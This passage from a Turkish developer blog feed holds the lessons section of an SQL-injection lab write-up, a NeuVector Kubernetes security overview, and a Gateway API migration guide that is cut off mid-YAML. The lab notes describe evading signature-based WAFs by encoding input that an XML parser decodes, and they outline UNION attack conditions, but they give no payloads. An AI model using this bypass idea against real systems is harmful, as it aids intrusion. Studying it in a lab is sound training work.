&lt;li&gt;HTTP durum kodunun &lt;code&gt;200 OK&lt;/code&gt; olmasını, sorgunun doğru çalıştığı anlamına geldiğini sandım. Oysa asıl bakılması gereken şey response body'nin içeriğiydi; uygulama hatalı bir sorguda bile 200 dönebiliyor.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Öğrendiklerim
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;WAF'lar genelde imza tabanlı çalışıyor, yani bilinen tehlikeli kelimeleri arıyor. Veriyi farklı bir katmanda (burada XML parser'da) çözümleyen bir sistemle bu tespiti atlatmak mümkün.&lt;/li&gt;
&lt;li&gt;Burp Suite'in temel akışını (Proxy → Repeater) bu lab sayesinde ilk kez uygulamalı öğrenmiş oldum.&lt;/li&gt;
&lt;li&gt;UNION attack'ın iki şartını (kolon sayısı ve veri tipi eşleşmesi) artık sadece ezbere değil, bizzat deneyerek biliyorum.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bir sonraki hedefim, aynı tekniği farklı bir encoding yöntemiyle (örneğin JSON tabanlı bir filtre bypass'ında) tekrar denemek.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
    </item>
    <item>
      <title>NeuVector - Rke2: Kubernetes İçin Derinlemesine Güvenlik</title>
      <dc:creator>Yunus Emre Dere</dc:creator>
      <pubDate>Thu, 04 Dec 2025 11:25:13 +0000</pubDate>
      <link>https://dev.to/yunusemredere16/neuvector-rke2-kubernetes-icin-derinlemesine-guvenlik-nh</link>
      <guid>https://dev.to/yunusemredere16/neuvector-rke2-kubernetes-icin-derinlemesine-guvenlik-nh</guid>
      <description>&lt;p&gt;Standart Kubernetes ağ politikaları (Network Policies) ve klasik güvenlik duvarları, podlar arasındaki trafiği (East-West) analiz etmede yetersiz kalır. Bu araçlar genellikle IP ve Port seviyesinde (Layer 3/4) çalışır, ancak uygulama katmanındaki (Layer 7) tehditleri göremezler.&lt;/p&gt;

&lt;p&gt;Bu yazıda, &lt;strong&gt;RKE2&lt;/strong&gt; üzerinde koşan iş yüklerimizi korumak için neden &lt;strong&gt;NeuVector&lt;/strong&gt; tercih ettiğimizi, teknik mimarisini ve diğer çözümlerden farkını inceleyeceğiz.&lt;/p&gt;

&lt;p&gt;NeuVector, patentli &lt;strong&gt;Derin Paket İnceleme (DPI)&lt;/strong&gt; teknolojisi ile konteyner trafiğini gerçek zamanlı analiz eder ve Zero-Trust prensibini cluster içine kadar indirger.&lt;/p&gt;




&lt;h2&gt;
  
  
  Detaylar ve Temel Özellikler
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Canlı Ağ Güvenliği (Runtime Security)
&lt;/h3&gt;

&lt;p&gt;Genellikle güvenlik araçları imajlardaki açıkları tarar. NeuVector ise çalışma zamanında podlar arası trafiği izler.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Deep Packet Inspection (DPI):&lt;/strong&gt; Pod'lar birbirleriyle konuşurken paketlerin içine bakar. Bir SQL Injection veya şüpheli bir DNS sorgusu görürse, ağ seviyesinde bunu engelleyebilir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;East-West Trafiği:&lt;/strong&gt; Klasik firewall'lar sadece dışarıdan gelen (&lt;code&gt;North-South&lt;/code&gt;) trafiği görür. NeuVector ise cluster içindeki (&lt;code&gt;East-West&lt;/code&gt;) trafiği görür ve yönetir.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Zero-Trust ve Davranışsal Öğrenme
&lt;/h3&gt;

&lt;p&gt;NeuVector kurulduğu andan itibaren hemen trafiği izlemeye başlar ve normal davranışları öğrenir.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Discover:&lt;/strong&gt; Uygulamanın kimle konuştuğunu öğrenir ve otomatik kurallar oluşturur.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor:&lt;/strong&gt; Normalin dışına çıkıldığında, yani bir pod normalde hiç iletişime geçmediği bir podla iletişime geçerse sadece alarm verir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Protect:&lt;/strong&gt; Normal dışı her türlü hareketi &lt;strong&gt;bloklar&lt;/strong&gt;. Yani saldırgan içeri girse bile ağda hareket edemez.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Zafiyet ve Uyumluluk Taraması
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Konteynır imajlarını hem registry'de hem de çalışırken tarar.&lt;/li&gt;
&lt;li&gt;CIS Benchmark (Kubernetes güvenlik standartları) testlerini otomatik yapar ve raporlar.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Olumsuz Yanları
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Yüksek Kaynak Tüketimi
&lt;/h3&gt;

&lt;p&gt;Ağ trafiğini analiz etmek için her Kubernetes Node'una bir "&lt;code&gt;Enforcer&lt;/code&gt;" podu kurar.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sorun:&lt;/strong&gt; Bu Enforcer'lar, geçen her veri paketini açıp (Layer 7 inceleme) içine baktığı için ciddi miktarda &lt;strong&gt;CPU ve Bellek&lt;/strong&gt; tüketebilir.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Ağ Gecikmesi (Latency)
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sorun:&lt;/strong&gt; Aşırı düşük gecikme gerektiren gerçek zamanlı uygulamalarda performans olumsuz etkilenebilir.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;Protect&lt;/code&gt; Moduna Geçiş Riski
&lt;/h3&gt;

&lt;p&gt;NeuVector'un en güçlü yanı en riskli yanı olabilir.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sorun:&lt;/strong&gt; Sistem öğrenme modundayken görmediği nadir bir trafiği, koruma moduna geçtiğinde tehdit sanıp engelleyebilir. Bu yüzden &lt;code&gt;Protect&lt;/code&gt; modunda kullanmaktansa &lt;code&gt;Alarm&lt;/code&gt; modunda kullanmak daha tercih edilebilir bir seçimdir.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Karmaşık Yönetim ve Öğrenme Eğrisi
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Basit bir antivirus gibi "kur ve unut" türü bir yazılım değildir.&lt;/li&gt;
&lt;li&gt;Detayları ve kuralları anlamlandırmak zor olabilir.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  İlk Kurulumda Kargaşa
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Sorun:&lt;/strong&gt; Kubernetes ortamları çok gürültülüdür (Health checkler, DNS sorguları, metrik toplayıcılar vb.). Bu sebeple çok fazla sayıda anlamsız kural oluşabilir ve bunları temizlemek zaman alabilir.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Ne Zaman Kullanılmalı?
&lt;/h2&gt;

&lt;p&gt;Eğer blog sitesi gibi basit bir sistem ise kaynakları boşa harcamak olur. Ama &lt;strong&gt;finans, bankacılık&lt;/strong&gt; veya &lt;strong&gt;hassas verilerin&lt;/strong&gt; olduğu, "&lt;code&gt;Zero Trust&lt;/code&gt;" bir mimaride NeuVector vazgeçilmezdir.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mimari ve Kavramlar
&lt;/h2&gt;

&lt;p&gt;5 temel kavramı vardır.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Üç Temel Bileşen
&lt;/h3&gt;

&lt;p&gt;NeuVector kurulduğunda Cluster içinde birkaç farklı pod görülür:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt; &lt;strong&gt;Controller (Beyin):&lt;/strong&gt; Kuralları yönetir, kararları verir. Genelde 3 kopya çalışır.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Manager (Yüz):&lt;/strong&gt; Web Arayüzünü (UI) sağlayan servistir.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Enforcer (Kas):&lt;/strong&gt; &lt;strong&gt;En kritiği budur.&lt;/strong&gt; Her bir node üzerinde bir ajan gibi (DaemonSet olarak) çalışır. Trafiği kesen veya izin veren, paketin içine bakan parça budur.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;Scanner (Göz):&lt;/strong&gt; İmajları tarayıp güvenlik açığı (CVE) bulan parçadır.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  2. Altın Kural: "Önce Öğren, Sonra Koru"
&lt;/h3&gt;

&lt;p&gt;Doğru akış şu şekildedir:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Discover:&lt;/strong&gt; Sistemi en az 1-2 hafta bu modda bırakmak gerekir. NeuVector normal trafiğin ne olduğunu, hangi servisin kiminle konuştuğunu öğrensin.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Monitor:&lt;/strong&gt; Kurallar oturduktan sonra bu moda geçilmelidir. Artık yeni veya bilinmeyen bir trafik gelirse engellemez ama &lt;code&gt;Alarm&lt;/code&gt; verir.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Protect:&lt;/strong&gt; Sadece &lt;code&gt;%100&lt;/code&gt; emin olunan servislerde bu moda geçilmelidir.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. SUSE ve Açık Kaynak Durumu
&lt;/h3&gt;

&lt;p&gt;SUSE firmasının ürünü satın alması ile tamamen açık kaynak oldu. Eski enterprise özelliklerinin çoğu artık bedava. DockerHub veya GitHub üzerinden imajlar ücretsiz olarak çekilebilir.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Kurallar Kod Olarak Dışarı Alınabilir (Security As Code)
&lt;/h3&gt;

&lt;p&gt;Mesela NeuVector &lt;code&gt;Development&lt;/code&gt; ortamında trafiği öğrendi. Bu kuralları YAML dosyası olarak Export edebilirsiniz. Daha sonrasında Production ortamında uygulayarak öğrenme süresi kısılabilir. Bu, DevOps süreçleri için harika bir özelliktir.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Helm İle Kurulum
&lt;/h3&gt;

&lt;p&gt;Resmi Helm Chartı vardır ve kurulumu standarttır.&lt;/p&gt;




&lt;h2&gt;
  
  
  Diğer Firewall'lar ile Karşılaştırma
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Özellik&lt;/th&gt;
&lt;th&gt;NeuVector&lt;/th&gt;
&lt;th&gt;Cilium (Hubble)&lt;/th&gt;
&lt;th&gt;Calico&lt;/th&gt;
&lt;th&gt;Istio (Service Mesh)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Temel Teknoloji&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Özel DPI Motoru&lt;/td&gt;
&lt;td&gt;eBPF (Linux Kernel)&lt;/td&gt;
&lt;td&gt;Iptables / eBPF&lt;/td&gt;
&lt;td&gt;Envoy Proxy (Sidecar)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;En Güçlü Yanı&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;DPI (Derin Paket İnceleme)&lt;/td&gt;
&lt;td&gt;Yüksek Performans &amp;amp; Ölçek&lt;/td&gt;
&lt;td&gt;Standart ve Kararlı&lt;/td&gt;
&lt;td&gt;Trafik Yönetimi &amp;amp; mTLS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;OSI Katmanı&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Katman 7 (Uygulama)&lt;/td&gt;
&lt;td&gt;Katman 3-4 (ve kısmen 7)&lt;/td&gt;
&lt;td&gt;Katman 3-4 (IP/Port)&lt;/td&gt;
&lt;td&gt;Katman 7 (Uygulama)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Paket İçeriği&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Okur (SQLi vb. görür)&lt;/td&gt;
&lt;td&gt;❌ Genelde okumaz&lt;/td&gt;
&lt;td&gt;❌ Okumaz&lt;/td&gt;
&lt;td&gt;✅ Okur (Yönlendirme için)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Görünürlük (UI)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Çok detaylı Ağ Haritası&lt;/td&gt;
&lt;td&gt;✅ Hubble UI&lt;/td&gt;
&lt;td&gt;⚠️ Temel&lt;/td&gt;
&lt;td&gt;✅ Kiali vb. ile harita var&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;WAF Özelliği&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Var (Basit WAF)&lt;/td&gt;
&lt;td&gt;❌ Yok&lt;/td&gt;
&lt;td&gt;❌ Yok&lt;/td&gt;
&lt;td&gt;❌ Yok (Eklenti gerekir)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Öğrenme Modu&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;✅ Otomatik kural yazar&lt;/td&gt;
&lt;td&gt;❌ Manuel&lt;/td&gt;
&lt;td&gt;❌ Manuel&lt;/td&gt;
&lt;td&gt;❌ Manuel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kaynak Tüketimi&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Orta/Yüksek&lt;/td&gt;
&lt;td&gt;Düşük&lt;/td&gt;
&lt;td&gt;Düşük&lt;/td&gt;
&lt;td&gt;Yüksek&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Kullanım Amacı&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Tam Güvenlik / Saldırı Engelleme&lt;/td&gt;
&lt;td&gt;Ağ Bağlantısı &amp;amp; Gözlem&lt;/td&gt;
&lt;td&gt;Standart Ağ Politikaları&lt;/td&gt;
&lt;td&gt;Servisler Arası Şifreleme&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Ek Bilgi: WAF Nedir?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;WAF (Web Application Firewall):&lt;/strong&gt; İnternetten gelebilecek saldırılara karşı koruyan özel bir güvenlik kalkanıdır. Basitçe, klasik güvenlik duvarı "ağ trafiğine" bakarken, WAF "uygulamanın diline" (&lt;em&gt;HTTP/HTTPS&lt;/em&gt;) bakar.&lt;/p&gt;

&lt;h3&gt;
  
  
  WAF Neleri Engeller? (OWASP Top 10)
&lt;/h3&gt;

&lt;p&gt;Genelde Layer 7 (&lt;em&gt;Uygulama Katmanı&lt;/em&gt;) seviyesinde çalışır ve şunları yakalar:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;  &lt;strong&gt;SQL Injection (SQLi):&lt;/strong&gt; Saldırganın web sitesindeki formları kullanarak veritabanını çalmaya çalışması.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Cross-Site Scripting (XSS):&lt;/strong&gt; Web sayfasına zararlı JavaScript kodları gömerek kullanıcıların bilgilerini çalma girişimi.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;Cookie Poisoning:&lt;/strong&gt; Kullanıcı oturumlarını ele geçirme çabaları.&lt;/li&gt;
&lt;li&gt;  &lt;strong&gt;L7 DDoS Saldırıları:&lt;/strong&gt; Siteyi çökertmek için yapılan sahte ve yoğun istekler.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>kubernetes</category>
      <category>firewall</category>
      <category>devops</category>
      <category>neuvector</category>
    </item>
    <item>
      <title>Kubernetes Gateway API Rehberi: Ingress NGINX'ten Göç ve Zabbix Örneği</title>
      <dc:creator>Yunus Emre Dere</dc:creator>
      <pubDate>Fri, 28 Nov 2025 05:57:09 +0000</pubDate>
      <link>https://dev.to/yunusemredere16/kubernetes-gateway-api-rehberi-ingress-nginxten-goc-ve-zabbix-ornegi-3ea4</link>
      <guid>https://dev.to/yunusemredere16/kubernetes-gateway-api-rehberi-ingress-nginxten-goc-ve-zabbix-ornegi-3ea4</guid>
      <description>&lt;h2&gt;
  
  
  NGINX Ingress'e Ne Oldu?
&lt;/h2&gt;

&lt;p&gt;2026 yılında Kubernetes dünyasında önemli bir değişiklik yaşanacak: NGINX Ingress Controller artık yeni özellik güncellemeleri almayacak. Panik yapmaya gerek yok - mevcut kurulumlarınız çalışmaya devam edecek. Ancak yeni özellikler için artık başka bir çözüme bakmamız gerekiyor.&lt;/p&gt;

&lt;p&gt;İşte burada &lt;strong&gt;Kubernetes Gateway API&lt;/strong&gt; devreye giriyor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gateway API Nedir ve Neden Önemli?
&lt;/h2&gt;

&lt;p&gt;Gateway API, Kubernetes'in resmi olarak desteklediği yeni nesil routing çözümü. Ingress'ten temel farkı şu: &lt;strong&gt;modüler yapısı&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Ingress'te her şey tek bir YAML dosyasında toplanıyordu. Gateway API ise işleri üç parçaya ayırıyor:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. GatewayClass
&lt;/h3&gt;

&lt;p&gt;Cluster genelinde hangi gateway controller'ın kullanılacağını belirler. Bunu bir kere tanımlıyorsunuz ve tüm cluster için geçerli oluyor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GatewayClass&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway-class&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;controllerName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gateway.nginx.org/nginx-gateway-controller&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;GatewayClass seçenekleri:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;NGINX Gateway Fabric (NGINX Inc.)&lt;/li&gt;
&lt;li&gt;Istio Gateway (Google/IBM)&lt;/li&gt;
&lt;li&gt;Cilium Gateway (eBPF tabanlı)&lt;/li&gt;
&lt;li&gt;Kong Gateway (Enterprise)&lt;/li&gt;
&lt;li&gt;Envoy Gateway (CNCF)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Her birinin kendine göre avantajları var. NGINX Gateway Fabric hafif ve basit, Istio daha gelişmiş service mesh özellikleri sunuyor, Cilium performans odaklı.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Gateway
&lt;/h3&gt;

&lt;p&gt;Asıl trafiği dinleyen ve yönlendiren bileşen. HTTP, HTTPS, TCP gibi farklı protokolleri destekliyor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Gateway&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx-gateway&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;gatewayClassName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway-class&lt;/span&gt;
  &lt;span class="na"&gt;listeners&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http&lt;/span&gt;
      &lt;span class="na"&gt;protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HTTP&lt;/span&gt;
      &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
      &lt;span class="na"&gt;allowedRoutes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;namespaces&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;from&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;All&lt;/span&gt;  &lt;span class="c1"&gt;# TÜM namespace'lerden route kabul et&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. HTTPRoute
&lt;/h3&gt;

&lt;p&gt;Her servis için ayrı tanımlanıyor. Hangi hostname'den gelen trafiğin hangi servise gideceğini belirliyor.&lt;/p&gt;

&lt;h2&gt;
  
  
  Gateway API'nin Sağladığı Kolaylıklar
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Rol Ayrımı:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cluster admin: GatewayClass ve Gateway'i yönetir&lt;/li&gt;
&lt;li&gt;Geliştirici: Sadece kendi HTTPRoute'unu yönetir&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Namespace İzolasyonu:&lt;/strong&gt;&lt;br&gt;
Gateway başka namespace'de olsa bile HTTPRoute kendi namespace'inden bağlanabiliyor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Daha Detaylı Routing:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Header-based routing&lt;/li&gt;
&lt;li&gt;Query parameter routing&lt;/li&gt;
&lt;li&gt;Method-based routing (GET, POST, etc.)&lt;/li&gt;
&lt;li&gt;Weight-based traffic splitting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;4. Backend Seçenekleri:&lt;/strong&gt;&lt;br&gt;
Ingress'te sadece Service'e yönlendirme vardı. Gateway API ile:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multiple backends&lt;/li&gt;
&lt;li&gt;Traffic weighting (A/B testing)&lt;/li&gt;
&lt;li&gt;Request/response header değiştirme&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  Gerçek Dünya Örneği: Zabbix Deployment
&lt;/h2&gt;

&lt;p&gt;Şimdi pratiğe geçelim. Zabbix monitoring sistemini Gateway API ile nasıl expose ediyoruz?&lt;/p&gt;
&lt;h3&gt;
  
  
  Adım 1: GatewayClass Oluşturma
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;GatewayClass&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway-class&lt;/span&gt;
  &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cluster-wide&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;gateway&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;class&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;services"&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;controllerName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gateway.nginx.org/nginx-gateway-controller&lt;/span&gt;
  &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;NGINX&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Gateway&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Fabric&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;cluster&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;infrastructure"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Bu dosyayı cluster'da &lt;strong&gt;bir kere&lt;/strong&gt; deploy ediyoruz. Tüm servisler bunu kullanacak.&lt;/p&gt;
&lt;h3&gt;
  
  
  Adım 2: Gateway Oluşturma
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;gateway.networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Gateway&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx-gateway&lt;/span&gt;
  &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;description&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Cluster-wide&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;gateway&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;for&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;all&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;services"&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;gatewayClassName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;cluster-gateway-class&lt;/span&gt;
  &lt;span class="na"&gt;listeners&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;http&lt;/span&gt;
      &lt;span class="na"&gt;protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;HTTP&lt;/span&gt;
      &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;80&lt;/span&gt;
      &lt;span class="na"&gt;allowedRoutes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
